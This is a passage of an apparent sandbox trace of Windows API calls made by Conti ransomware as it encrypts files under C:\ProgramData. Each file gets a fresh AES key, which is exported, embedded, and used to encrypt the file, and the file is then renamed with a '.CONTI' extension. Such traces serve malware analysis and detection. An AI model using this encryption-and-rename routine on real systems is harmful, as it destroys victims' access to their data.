	[0117.243] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=8192) returned 1
	[0117.243] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0117.243] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.243] SetEndOfFile (hFile=0x2ec) returned 1
	[0117.243] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.243] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.243] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d550c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x65d550c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.245] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.245] ReadFile (in: hFile=0x2ec, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2000, lpOverlapped=0x0) returned 1
	[0117.246] CryptEncrypt (in: hKey=0x6b7f5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2010) returned 1
	[0117.246] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.246] WriteFile (in: hFile=0x2ec, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2010, lpOverlapped=0x0) returned 1
	[0117.246] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.246] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d5500*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x65d5500*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0117.246] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.247] CloseHandle (hObject=0x2ec) returned 1
	[0117.248] GetProcessHeap () returned 0x1720000
	[0117.248] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.248] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.248] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.248] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.249] GetProcessHeap () returned 0x1720000
	[0117.249] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.249] CryptDestroyKey (hKey=0x6b7f5b8) returned 1
	[0117.249] GetProcessHeap () returned 0x1720000
	[0117.249] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cda50 | out: hHeap=0x1720000) returned 1
	[0117.249] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0117.249] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x65d6070 | out: phKey=0x65d6070*=0x6b7f5b8) returned 1
	[0117.249] CryptExportKey (in: hKey=0x6b7f5b8, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d6074, pdwDataLen=0x37ffcec | out: pbData=0x65d6074*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0117.252] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.252] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0117.253] GetLastError () returned 0x0
	[0117.253] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=4096) returned 1
	[0117.253] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.253] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.253] SetEndOfFile (hFile=0x2ec) returned 1
	[0117.253] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.253] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.253] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d6074*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x65d6074*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.255] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.255] ReadFile (in: hFile=0x2ec, lpBuffer=0x8950000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x1000, lpOverlapped=0x0) returned 1
	[0117.255] CryptEncrypt (in: hKey=0x6b7f5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x1000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x1010) returned 1
	[0117.255] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.255] WriteFile (in: hFile=0x2ec, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x1010, lpOverlapped=0x0) returned 1
	[0117.255] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.256] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d6068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x65d6068*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0117.256] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.256] CloseHandle (hObject=0x2ec) returned 1
	[0117.256] GetProcessHeap () returned 0x1720000
	[0117.256] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.256] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.256] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.256] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.257] GetProcessHeap () returned 0x1720000
	[0117.257] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.257] CryptDestroyKey (hKey=0x6b7f5b8) returned 1
	[0117.257] GetProcessHeap () returned 0x1720000
	[0117.257] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cdb50 | out: hHeap=0x1720000) returned 1
	[0117.257] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0117.257] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x65d7068 | out: phKey=0x65d7068*=0x6b7f338) returned 1
	[0117.257] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d706c, pdwDataLen=0x37ffcec | out: pbData=0x65d706c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0117.258] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.258] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0117.259] GetLastError () returned 0x0
	[0117.259] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=4096) returned 1
	[0117.259] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.259] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.259] SetEndOfFile (hFile=0x2ec) returned 1
	[0117.259] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.259] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.259] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d706c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x65d706c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.260] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.260] ReadFile (in: hFile=0x2ec, lpBuffer=0x8950000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x1000, lpOverlapped=0x0) returned 1
	[0117.261] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x1000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x1010) returned 1
	[0117.261] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.261] WriteFile (in: hFile=0x2ec, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x1010, lpOverlapped=0x0) returned 1
	[0117.261] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.261] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d7060*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x65d7060*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0117.261] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.261] CloseHandle (hObject=0x2ec) returned 1
	[0117.261] GetProcessHeap () returned 0x1720000
	[0117.261] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.261] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.262] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.262] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.262] GetProcessHeap () returned 0x1720000
	[0117.262] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.262] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0117.262] GetProcessHeap () returned 0x1720000
	[0117.262] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ce550 | out: hHeap=0x1720000) returned 1
	[0117.262] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0117.262] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x65d3088 | out: phKey=0x65d3088*=0x6b7f5b8) returned 1
	[0117.262] CryptExportKey (in: hKey=0x6b7f5b8, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d308c, pdwDataLen=0x37ffcec | out: pbData=0x65d308c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0117.263] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\programdata\\microsoft onedrive\\setup\\refcount.ini")) returned 0x2020
	[0117.263] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\programdata\\microsoft onedrive\\setup\\refcount.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0117.264] GetLastError () returned 0x0
	[0117.264] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=0) returned 1
	[0117.264] CryptDestroyKey (hKey=0x6b7f5b8) returned 1
	[0117.264] CloseHandle (hObject=0x2ec) returned 1
	[0117.264] GetProcessHeap () returned 0x1720000
	[0117.264] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6516080 | out: hHeap=0x1720000) returned 1
	[0117.264] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0117.264] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x65d6500 | out: phKey=0x65d6500*=0x6b7f338) returned 1
	[0117.264] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d6504, pdwDataLen=0x37ffcec | out: pbData=0x65d6504*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0117.265] GetFileAttributesW (lpFileName="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" (normalized: "c:\\programdata\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp")) returned 0x2020
	[0117.265] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" (normalized: "c:\\programdata\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0117.265] GetLastError () returned 0x0
	[0117.265] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=51) returned 1
	[0117.265] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x33
	[0117.266] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.266] SetEndOfFile (hFile=0x2ec) returned 1
	[0117.267] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.267] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.267] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d6504*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x65d6504*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.268] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.268] ReadFile (in: hFile=0x2ec, lpBuffer=0x8950000, nNumberOfBytesToRead=0x33, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x33, lpOverlapped=0x0) returned 1
	[0117.268] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x33, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x40) returned 1
	[0117.268] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.268] WriteFile (in: hFile=0x2ec, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x40, lpOverlapped=0x0) returned 1
	[0117.269] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.269] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d64f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x65d64f8*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0117.269] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.269] CloseHandle (hObject=0x2ec) returned 1
	[0117.269] GetProcessHeap () returned 0x1720000
	[0117.269] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.269] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" | out: lpString1="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp") returned="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp"
	[0117.269] lstrcatW (in: lpString1="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.CONTI") returned="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.CONTI"
	[0117.269] MoveFileW (lpExistingFileName="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" (normalized: "c:\\programdata\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp"), lpNewFileName="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.CONTI" (normalized: "c:\\programdata\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.conti")) returned 1
	[0117.269] GetProcessHeap () returned 0x1720000
	[0117.269] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.269] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0117.270] GetProcessHeap () returned 0x1720000
	[0117.270] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181be40 | out: hHeap=0x1720000) returned 1
	[0117.270] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0117.270] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x65d6748 | out: phKey=0x65d6748*=0x6b7f338) returned 1
	[0117.270] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d674c, pdwDataLen=0x37ffcec | out: pbData=0x65d674c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0117.270] GetFileAttributesW (lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\baseimagefam8")) returned 0x2020
